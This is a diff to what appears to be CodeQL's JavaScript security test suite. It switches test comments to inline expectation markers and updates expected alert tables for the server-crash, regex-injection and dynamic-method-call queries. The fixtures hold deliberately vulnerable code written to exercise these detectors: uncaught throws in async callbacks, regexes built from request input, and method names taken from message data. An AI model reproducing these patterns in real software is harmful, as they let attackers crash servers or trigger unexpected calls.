+| server-crash.js:24:7:24:16 | throw err; | server-crash.js:24:7:24:16 | throw err; | server-crash.js:23:25:25:5 | (err, x ... ]\\n    } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:23:25:25:5 | (err, x ... ]\\n    } | asynchronous callback |
+| server-crash.js:36:5:36:14 | throw err; | server-crash.js:36:5:36:14 | throw err; | server-crash.js:35:23:37:3 | (err, x ... sh]\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:35:23:37:3 | (err, x ... sh]\\n  } | asynchronous callback |
+| server-crash.js:41:5:41:14 | throw err; | server-crash.js:41:5:41:14 | throw err; | server-crash.js:40:23:42:3 | (err, x ... sh]\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:40:23:42:3 | (err, x ... sh]\\n  } | asynchronous callback |
+| server-crash.js:88:5:88:14 | throw err; | server-crash.js:88:5:88:14 | throw err; | server-crash.js:87:23:89:3 | (err, x ... sh]\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:87:23:89:3 | (err, x ... sh]\\n  } | asynchronous callback |
+| server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:93:22:95:3 | () => { ... sh]\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:93:22:95:3 | () => { ... sh]\\n  } | asynchronous callback |
+| server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:101:24:103:5 | () => { ... ]\\n    } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:101:24:103:5 | () => { ... ]\\n    } | asynchronous callback |
+| server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:108:26:110:7 | () => { ...       } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:108:26:110:7 | () => { ...       } | asynchronous callback |
+| server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:116:26:118:7 | () => { ...       } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:116:26:118:7 | () => { ...       } | asynchronous callback |
+| server-crash.js:131:7:131:16 | throw err; | server-crash.js:131:7:131:16 | throw err; | server-crash.js:130:25:132:5 | (err, x ... ]\\n    } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:128:32:135:1 | async ( ... un();\\n} | this route handler | server-crash.js:130:25:132:5 | (err, x ... ]\\n    } | asynchronous callback |
+| server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:156:3:158:3 | functio ... ath\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:151:40:166:1 | (req, r ... nc();\\n} | this route handler | server-crash.js:161:16:161:17 | cb | asynchronous callback |
 edges
-| server-crash.js:15:5:15:14 | throw err; | server-crash.js:14:23:16:3 | (err, x ...  OK\\n  } |
-| server-crash.js:18:1:20:1 | functio ... OT OK\\n} | server-crash.js:59:5:59:18 | indirection2() |
-| server-crash.js:19:3:19:11 | throw 42; | server-crash.js:18:1:20:1 | functio ... OT OK\\n} |
-| server-crash.js:24:7:24:16 | throw err; | server-crash.js:23:25:25:5 | (err, x ... K\\n    } |
-| server-crash.js:36:5:36:14 | throw err; | server-crash.js:35:23:37:3 | (err, x ...  OK\\n  } |
-| server-crash.js:41:5:41:14 | throw err; | server-crash.js:40:23:42:3 | (err, x ...  OK\\n  } |
+| server-crash.js:15:5:15:14 | throw err; | server-crash.js:14:23:16:3 | (err, x ... sh]\\n  } |
+| server-crash.js:18:1:20:1 | functio ... rash]\\n} | server-crash.js:59:5:59:18 | indirection2() |
+| server-crash.js:19:3:19:11 | throw 42; | server-crash.js:18:1:20:1 | functio ... rash]\\n} |
+| server-crash.js:24:7:24:16 | throw err; | server-crash.js:23:25:25:5 | (err, x ... ]\\n    } |
+| server-crash.js:36:5:36:14 | throw err; | server-crash.js:35:23:37:3 | (err, x ... sh]\\n  } |
+| server-crash.js:41:5:41:14 | throw err; | server-crash.js:40:23:42:3 | (err, x ... sh]\\n  } |
 | server-crash.js:59:5:59:18 | indirection2() | server-crash.js:58:23:60:3 | (err, x ... ();\\n  } |
-| server-crash.js:88:5:88:14 | throw err; | server-crash.js:87:23:89:3 | (err, x ...  OK\\n  } |
-| server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:93:22:95:3 | () => { ...  OK\\n  } |
-| server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:101:24:103:5 | () => { ... K\\n    } |
+| server-crash.js:88:5:88:14 | throw err; | server-crash.js:87:23:89:3 | (err, x ... sh]\\n  } |
+| server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:93:22:95:3 | () => { ... sh]\\n  } |
+| server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:101:24:103:5 | () => { ... ]\\n    } |
 | server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:108:26:110:7 | () => { ...       } |
 | server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:116:26:118:7 | () => { ...       } |
-| server-crash.js:131:7:131:16 | throw err; | server-crash.js:130:25:132:5 | (err, x ... K\\n    } |
-| server-crash.js:152:3:154:3 | functio ...  OK\\n  } | server-crash.js:157:5:157:16 | throwError() |
-| server-crash.js:152:3:154:3 | functio ...  OK\\n  } | server-crash.js:160:5:160:16 | throwError() |
-| server-crash.js:152:3:154:3 | functio ...  OK\\n  } | server-crash.js:164:3:164:14 | throwError() |
-| server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:152:3:154:3 | functio ...  OK\\n  } |
-| server-crash.js:153:11:153:21 | new Error() | server-crash.js:152:3:154:3 | functio ...  OK\\n  } |
+| server-crash.js:131:7:131:16 | throw err; | server-crash.js:130:25:132:5 | (err, x ... ]\\n    } |
+| server-crash.js:152:3:154:3 | functio ... sh]\\n  } | server-crash.js:157:5:157:16 | throwError() |
+| server-crash.js:152:3:154:3 | functio ... sh]\\n  } | server-crash.js:160:5:160:16 | throwError() |
+| server-crash.js:152:3:154:3 | functio ... sh]\\n  } | server-crash.js:164:3:164:14 | throwError() |
+| server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:152:3:154:3 | functio ... sh]\\n  } |
+| server-crash.js:153:11:153:21 | new Error() | server-crash.js:152:3:154:3 | functio ... sh]\\n  } |
 | server-crash.js:157:5:157:16 | throwError() | server-crash.js:156:3:158:3 | functio ... ath\\n  } |
 nodes
-| server-crash.js:14:23:16:3 | (err, x ...  OK\\n  } |
+| server-crash.js:14:23:16:3 | (err, x ... sh]\\n  } |
 | server-crash.js:15:5:15:14 | throw err; |
-| server-crash.js:18:1:20:1 | functio ... OT OK\\n} |
+| server-crash.js:18:1:20:1 | functio ... rash]\\n} |
 | server-crash.js:19:3:19:11 | throw 42; |
-| server-crash.js:23:25:25:5 | (err, x ... K\\n    } |
+| server-crash.js:23:25:25:5 | (err, x ... ]\\n    } |
 | server-crash.js:24:7:24:16 | throw err; |
-| server-crash.js:35:23:37:3 | (err, x ...  OK\\n  } |
+| server-crash.js:35:23:37:3 | (err, x ... sh]\\n  } |
 | server-crash.js:36:5:36:14 | throw err; |
-| server-crash.js:40:23:42:3 | (err, x ...  OK\\n  } |
+| server-crash.js:40:23:42:3 | (err, x ... sh]\\n  } |
 | server-crash.js:41:5:41:14 | throw err; |
 | server-crash.js:58:23:60:3 | (err, x ... ();\\n  } |
 | server-crash.js:59:5:59:18 | indirection2() |
-| server-crash.js:87:23:89:3 | (err, x ...  OK\\n  } |
+| server-crash.js:87:23:89:3 | (err, x ... sh]\\n  } |
 | server-crash.js:88:5:88:14 | throw err; |
-| server-crash.js:93:22:95:3 | () => { ...  OK\\n  } |
+| server-crash.js:93:22:95:3 | () => { ... sh]\\n  } |
 | server-crash.js:94:5:94:14 | throw "e"; |
-| server-crash.js:101:24:103:5 | () => { ... K\\n    } |
+| server-crash.js:101:24:103:5 | () => { ... ]\\n    } |
 | server-crash.js:102:7:102:16 | throw "e"; |
 | server-crash.js:108:26:110:7 | () => { ...       } |
 | server-crash.js:109:9:109:18 | throw "e"; |
 | server-crash.js:116:26:118:7 | () => { ...       } |
 | server-crash.js:117:9:117:18 | throw "e"; |
-| server-crash.js:130:25:132:5 | (err, x ... K\\n    } |
+| server-crash.js:130:25:132:5 | (err, x ... ]\\n    } |
 | server-crash.js:131:7:131:16 | throw err; |
-| server-crash.js:152:3:154:3 | functio ...  OK\\n  } |
+| server-crash.js:152:3:154:3 | functio ... sh]\\n  } |
 | server-crash.js:153:5:153:22 | throw new Error(); |
 | server-crash.js:153:11:153:21 | new Error() |
 | server-crash.js:156:3:158:3 | functio ... ath\\n  } |
 | server-crash.js:157:5:157:16 | throwError() |
 | server-crash.js:160:5:160:16 | throwError() |
 | server-crash.js:164:3:164:14 | throwError() |
-#select
-| server-crash.js:15:5:15:14 | throw err; | server-crash.js:15:5:15:14 | throw err; | server-crash.js:14:23:16:3 | (err, x ...  OK\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:14:23:16:3 | (err, x ...  OK\\n  } | asynchronous callback |
-| server-crash.js:19:3:19:11 | throw 42; | server-crash.js:19:3:19:11 | throw 42; | server-crash.js:58:23:60:3 | (err, x ... ();\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:58:23:60:3 | (err, x ... ();\\n  } | asynchronous callback |
-| server-crash.js:24:7:24:16 | throw err; | server-crash.js:24:7:24:16 | throw err; | server-crash.js:23:25:25:5 | (err, x ... K\\n    } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:23:25:25:5 | (err, x ... K\\n    } | asynchronous callback |
-| server-crash.js:36:5:36:14 | throw err; | server-crash.js:36:5:36:14 | throw err; | server-crash.js:35:23:37:3 | (err, x ...  OK\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:35:23:37:3 | (err, x ...  OK\\n  } | asynchronous callback |
-| server-crash.js:41:5:41:14 | throw err; | server-crash.js:41:5:41:14 | throw err; | server-crash.js:40:23:42:3 | (err, x ...  OK\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:40:23:42:3 | (err, x ...  OK\\n  } | asynchronous callback |
-| server-crash.js:88:5:88:14 | throw err; | server-crash.js:88:5:88:14 | throw err; | server-crash.js:87:23:89:3 | (err, x ...  OK\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:87:23:89:3 | (err, x ...  OK\\n  } | asynchronous callback |
-| server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:94:5:94:14 | throw "e"; | server-crash.js:93:22:95:3 | () => { ...  OK\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:93:22:95:3 | () => { ...  OK\\n  } | asynchronous callback |
-| server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:102:7:102:16 | throw "e"; | server-crash.js:101:24:103:5 | () => { ... K\\n    } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:101:24:103:5 | () => { ... K\\n    } | asynchronous callback |
-| server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:109:9:109:18 | throw "e"; | server-crash.js:108:26:110:7 | () => { ...       } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:108:26:110:7 | () => { ...       } | asynchronous callback |
-| server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:117:9:117:18 | throw "e"; | server-crash.js:116:26:118:7 | () => { ...       } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:92:31:120:1 | (req, r ...   });\\n} | this route handler | server-crash.js:116:26:118:7 | () => { ...       } | asynchronous callback |
-| server-crash.js:131:7:131:16 | throw err; | server-crash.js:131:7:131:16 | throw err; | server-crash.js:130:25:132:5 | (err, x ... K\\n    } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:128:32:135:1 | async ( ... un();\\n} | this route handler | server-crash.js:130:25:132:5 | (err, x ... K\\n    } | asynchronous callback |
-| server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:153:5:153:22 | throw new Error(); | server-crash.js:156:3:158:3 | functio ... ath\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:151:40:166:1 | (req, r ... nc();\\n} | this route handler | server-crash.js:161:16:161:17 | cb | asynchronous callback |
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref
index 294d08cdcbbc..842882bd0bd2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref
@@ -1 +1,2 @@
-Security/CWE-730/ServerCrash.ql
+query: Security/CWE-730/ServerCrash.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js
index cb7bc4d9b8ec..a47c4752f0e8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js
+++ b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js
@@ -12,52 +12,52 @@ let server = app.listen(port, () =>
 
 function indirection1() {
   fs.readFile("/foo", (err, x) => {
-    throw err; // NOT OK
-  });
+    throw err; // $ Alert[js/server-crash]
+  }); // $ Sink[js/server-crash]
 }
 function indirection2() {
-  throw 42; // NOT OK
+  throw 42; // $ Alert[js/server-crash]
 }
 function indirection3() {
   try {
     fs.readFile("/foo", (err, x) => {
-      throw err; // NOT OK
-    });
+      throw err; // $ Alert[js/server-crash]
+    }); // $ Sink[js/server-crash]
   } catch (e) {}
 }
 function indirection4() {
-  throw 42; // OK: guarded caller
+  throw 42; // OK - guarded caller
 }
 function indirection5() {
   indirection6();
 }
 function indirection6() {
   fs.readFile("/foo", (err, x) => {
-    throw err; // NOT OK
-  });
+    throw err; // $ Alert[js/server-crash]
+  }); // $ Sink[js/server-crash]
 }
 app.get("/async-throw", (req, res) => {
   fs.readFile("/foo", (err, x) => {
-    throw err; // NOT OK
-  });
+    throw err; // $ Alert[js/server-crash]
+  }); // $ Sink[js/server-crash]
   fs.readFile("/foo", (err, x) => {
     try {
-      throw err; // OK: guarded throw
+      throw err; // OK - guarded throw
     } catch (e) {}
   });
   fs.readFile("/foo", (err, x) => {
-    res.setHeader("reflected", req.query.header); // NOT OK [INCONSISTENCY]
+    res.setHeader("reflected", req.query.header); // $ MISSING: Alert
   });
   fs.readFile("/foo", (err, x) => {
     try {
-      res.setHeader("reflected", req.query.header); // OK: guarded call
+      res.setHeader("reflected", req.query.header); // OK - guarded call
     } catch (e) {}
   });
 
   indirection1();
   fs.readFile("/foo", (err, x) => {
     indirection2();
-  });
+  }); // $ Sink[js/server-crash]
 
   indirection3();
   try {
@@ -66,17 +66,17 @@ app.get("/async-throw", (req, res) => {
   indirection5();
 
   fs.readFile("/foo", (err, x) => {
-    req.query.foo; // OK
+    req.query.foo;
   });
   fs.readFile("/foo", (err, x) => {
-    req.query.foo.toString(); // OK
+    req.query.foo.toString();
   });
 
   fs.readFile("/foo", (err, x) => {
-    req.query.foo.bar; // NOT OK [INCONSISTENCY]: need to add property reads as sinks
+    req.query.foo.bar; // $ MISSING: Alert - need to add property reads as sinks
   });
   fs.readFile("/foo", (err, x) => {
-    res.setHeader("reflected", unknown); // OK
+    res.setHeader("reflected", unknown);
   });
 
   try {
@@ -85,57 +85,57 @@ app.get("/async-throw", (req, res) => {
 });
 function indirection7() {
   fs.readFile("/foo", (err, x) => {
-    throw err; // NOT OK
-  });
+    throw err; // $ Alert[js/server-crash]
+  }); // $ Sink[js/server-crash]
 }
 
 app.get("/async-throw-again", (req, res) => {
   fs.readFile("foo", () => {
-    throw "e"; // NOT OK
-  });
+    throw "e"; // $ Alert[js/server-crash]
+  }); // $ Sink[js/server-crash]
   fs.readFileSync("foo", () => {
-    throw "e"; // OK (does not take callbacks at all)
+    throw "e"; // OK - does not take callbacks at all
   });
   // can nest async calls (and only warns about the inner one)
   fs.readFile("foo", () => {
     fs.readFile("bar", () => {
-      throw "e"; // NOT OK
-    });
+      throw "e"; // $ Alert[js/server-crash]
+    }); // $ Sink[js/server-crash]
   });
   fs.readFile("foo", () => {
     // can not catch async exceptions
     try {
       fs.readFile("bar", () => {
-        throw "e"; // NOT OK
-      });
+        throw "e"; // $ Alert[js/server-crash]
+      }); // $ Sink[js/server-crash]
     } catch (e) {}
   });
   // can mix sync/async calls
   fs.readFile("foo", () => {
     (() =>
       fs.readFile("bar", () => {
-        throw "e"; // NOT OK
-      }))();
+        throw "e"; // $ Alert[js/server-crash]
+      }))(); // $ Sink[js/server-crash]
   });
 });
 
 app.get("/throw-in-promise-1", async (req, res) => {
   async function fun() {
-    throw new Error(); // OK, requires `node --unhandled-rejections=strict ...` to terminate the process
+    throw new Error(); // OK - requires `node --unhandled-rejections=strict ...` to terminate the process
   }
   await fun();
 });
 app.get("/throw-in-promise-2", async (req, res) => {
   async function fun() {
     fs.readFile("/foo", (err, x) => {
-      throw err; // NOT OK
-    });
+      throw err; // $ Alert[js/server-crash]
+    }); // $ Sink[js/server-crash]
   }
   await fun();
 });
 app.get("/throw-in-promise-3", async (req, res) => {
   fs.readFile("/foo", async (err, x) => {
-    throw err; // OK, requires `node --unhandled-rejections=strict ...` to terminate the process
+    throw err; // OK - requires `node --unhandled-rejections=strict ...` to terminate the process
   });
 });
 
@@ -143,19 +143,19 @@ app.get("/throw-in-event-emitter", async (req, res) => {
   class MyEmitter extends EventEmitter {}
   const myEmitter = new MyEmitter();
   myEmitter.on("event", () => {
-    throw new Error(); // OK, requires `node --unhandled-rejections=strict ...` to terminate the process
+    throw new Error(); // OK - requires `node --unhandled-rejections=strict ...` to terminate the process
   });
   myEmitter.emit("event");
 });
 
 app.get("/throw-with-ambiguous-paths", (req, res) => {
   function throwError() {
-    throw new Error(); // NOT OK
+    throw new Error(); // $ Alert[js/server-crash]
   }
 
   function cb() {
     throwError(); // on path
-  }
+  } // $ Sink[js/server-crash]
   function withAsync() {
     throwError(); // not on path
     fs.stat(X, cb);
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/tst.js b/javascript/ql/test/query-tests/Security/CWE-730/tst.js
index ecbdcc0d83b3..e891a0ed1ca7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-730/tst.js
@@ -2,6 +2,6 @@ const express = require('express');
 const app = express();
 
 app.get('/foo', (req, res) => {
-    let data = req.query.data;
-    new RegExp("^"+ data.name + "$", "i"); // NOT OK
+    let data = req.query.data; // $ Source[js/regex-injection]
+    new RegExp("^"+ data.name + "$", "i"); // $ Alert[js/regex-injection]
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js b/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js
index a5124d6fd659..b83f64526c32 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnsafeDynamicMethodAccess.js
@@ -2,17 +2,17 @@
 
 let obj = {};
 
-window.addEventListener('message', (ev) => {
+window.addEventListener('message', (ev) => { // $ Source
     let message = JSON.parse(ev.data);
-    window[message.name](message.payload); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql [INCONSISTENCY]
-    new window[message.name](message.payload); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql [INCONSISTENCY]
+    window[message.name](message.payload); // $ MISSING: Alert - reported by UnsafeDynamicMethodAccess.ql
+    new window[message.name](message.payload); // $ MISSING: Alert - reported by UnsafeDynamicMethodAccess.ql
     window["HTMLElement" + message.name](message.payload); // OK - concatenation restricts choice of methods
     window[`HTMLElement${message.name}`](message.payload); // OK - concatenation restricts choice of methods
     
     function f() {}
-    f[message.name](message.payload)(); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql [INCONSISTENCY]
+    f[message.name](message.payload)(); // $ MISSING: Alert - reported by UnsafeDynamicMethodAccess.ql
     
-    obj[message.name](message.payload); // NOT OK
+    obj[message.name](message.payload); // $ Alert
 
-    window[ev](ev); // NOT OK, but reported by UnsafeDynamicMethodAccess.ql [INCONSISTENCY]
+    window[ev](ev); // $ MISSING: Alert - reported by UnsafeDynamicMethodAccess.ql
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected
index 120f9a82e71a..74cb64bdb8d7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-754/UnvalidatedDynamicMethodCall.expected
@@ -1,3 +1,74 @@
+#select
+| UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | user-controlled |
+| UnvalidatedDynamicMethodCall2.js:14:13:14:18 | action | UnvalidatedDynamicMethodCall2.js:13:30:13:46 | req.params.action | UnvalidatedDynamicMethodCall2.js:14:13:14:18 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCall2.js:13:30:13:46 | req.params.action | user-controlled |
+| UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | user-controlled |
+| UnvalidatedDynamicMethodCallGood4.js:15:17:15:22 | action | UnvalidatedDynamicMethodCallGood4.js:14:34:14:50 | req.params.action | UnvalidatedDynamicMethodCallGood4.js:15:17:15:22 | action | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | UnvalidatedDynamicMethodCallGood4.js:14:34:14:50 | req.params.action | user-controlled |
+| tst.js:9:5:9:16 | obj[ev.data] | tst.js:6:39:6:40 | ev | tst.js:9:5:9:16 | obj[ev.data] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:11:5:11:13 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:11:5:11:13 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:18:5:18:6 | fn | tst.js:6:39:6:40 | ev | tst.js:18:5:18:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:20:7:20:8 | fn | tst.js:6:39:6:40 | ev | tst.js:20:7:20:8 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:21:7:21:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:21:7:21:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:22:11:22:12 | fn | tst.js:6:39:6:40 | ev | tst.js:22:11:22:12 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:26:7:26:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:26:7:26:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:28:7:28:15 | obj[name] | tst.js:6:39:6:40 | ev | tst.js:28:7:28:15 | obj[name] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:35:5:35:12 | obj[key] | tst.js:6:39:6:40 | ev | tst.js:35:5:35:12 | obj[key] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:37:7:37:14 | obj[key] | tst.js:6:39:6:40 | ev | tst.js:37:7:37:14 | obj[key] | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:6:39:6:40 | ev | user-controlled |
+| tst.js:50:5:50:6 | fn | tst.js:47:39:47:40 | ev | tst.js:50:5:50:6 | fn | Invocation of method with $@ name may dispatch to unexpected target and cause an exception. | tst.js:47:39:47:40 | ev | user-controlled |
+edges
+| UnsafeDynamicMethodAccess.js:5:37:5:38 | ev | UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | provenance |  |
+| UnsafeDynamicMethodAccess.js:6:9:6:37 | message | UnsafeDynamicMethodAccess.js:15:9:15:15 | message | provenance |  |
+| UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | UnsafeDynamicMethodAccess.js:6:9:6:37 | message | provenance |  |
+| UnsafeDynamicMethodAccess.js:6:30:6:31 | ev | UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | provenance | Config |
+| UnsafeDynamicMethodAccess.js:6:30:6:36 | ev.data | UnsafeDynamicMethodAccess.js:6:19:6:37 | JSON.parse(ev.data) | provenance | Config |
+| UnsafeDynamicMethodAccess.js:15:9:15:15 | message | UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | provenance | Config |
+| UnsafeDynamicMethodAccess.js:15:9:15:20 | message.name | UnsafeDynamicMethodAccess.js:15:5:15:21 | obj[message.name] | provenance | Config |
+| UnvalidatedDynamicMethodCall2.js:13:9:13:47 | action | UnvalidatedDynamicMethodCall2.js:14:13:14:18 | action | provenance |  |
+| UnvalidatedDynamicMethodCall2.js:13:18:13:47 | actions ... action) | UnvalidatedDynamicMethodCall2.js:13:9:13:47 | action | provenance |  |
+| UnvalidatedDynamicMethodCall2.js:13:30:13:46 | req.params.action | UnvalidatedDynamicMethodCall2.js:13:18:13:47 | actions ... action) | provenance | Config |
+| UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | UnvalidatedDynamicMethodCall.js:15:11:15:16 | action | provenance |  |
+| UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | UnvalidatedDynamicMethodCall.js:14:7:14:41 | action | provenance |  |
+| UnvalidatedDynamicMethodCall.js:14:24:14:40 | req.params.action | UnvalidatedDynamicMethodCall.js:14:16:14:41 | actions ... action] | provenance | Config |
+| UnvalidatedDynamicMethodCallGood4.js:14:13:14:51 | action | UnvalidatedDynamicMethodCallGood4.js:15:17:15:22 | action | provenance |  |
+| UnvalidatedDynamicMethodCallGood4.js:14:22:14:51 | actions ... action) | UnvalidatedDynamicMethodCallGood4.js:14:13:14:51 | action | provenance |  |
+| UnvalidatedDynamicMethodCallGood4.js:14:34:14:50 | req.params.action | UnvalidatedDynamicMethodCallGood4.js:14:22:14:51 | actions ... action) | provenance | Config |
+| tst.js:6:39:6:40 | ev | tst.js:7:27:7:28 | ev | provenance |  |
+| tst.js:6:39:6:40 | ev | tst.js:9:9:9:10 | ev | provenance |  |
+| tst.js:7:9:7:39 | name | tst.js:11:9:11:12 | name | provenance |  |
+| tst.js:7:9:7:39 | name | tst.js:17:18:17:21 | name | provenance |  |
+| tst.js:7:9:7:39 | name | tst.js:21:11:21:14 | name | provenance |  |
+| tst.js:7:9:7:39 | name | tst.js:26:11:26:14 | name | provenance |  |
+| tst.js:7:9:7:39 | name | tst.js:28:11:28:14 | name | provenance |  |
+| tst.js:7:9:7:39 | name | tst.js:34:21:34:24 | name | provenance |  |
+| tst.js:7:16:7:34 | JSON.parse(ev.data) | tst.js:7:16:7:39 | JSON.pa ... a).name | provenance | Config |
+| tst.js:7:16:7:39 | JSON.pa ... a).name | tst.js:7:9:7:39 | name | provenance |  |
+| tst.js:7:27:7:28 | ev | tst.js:7:27:7:33 | ev.data | provenance | Config |
+| tst.js:7:27:7:33 | ev.data | tst.js:7:16:7:34 | JSON.parse(ev.data) | provenance | Config |
+| tst.js:9:9:9:10 | ev | tst.js:9:9:9:15 | ev.data | provenance | Config |
+| tst.js:9:9:9:15 | ev.data | tst.js:9:5:9:16 | obj[ev.data] | provenance | Config |
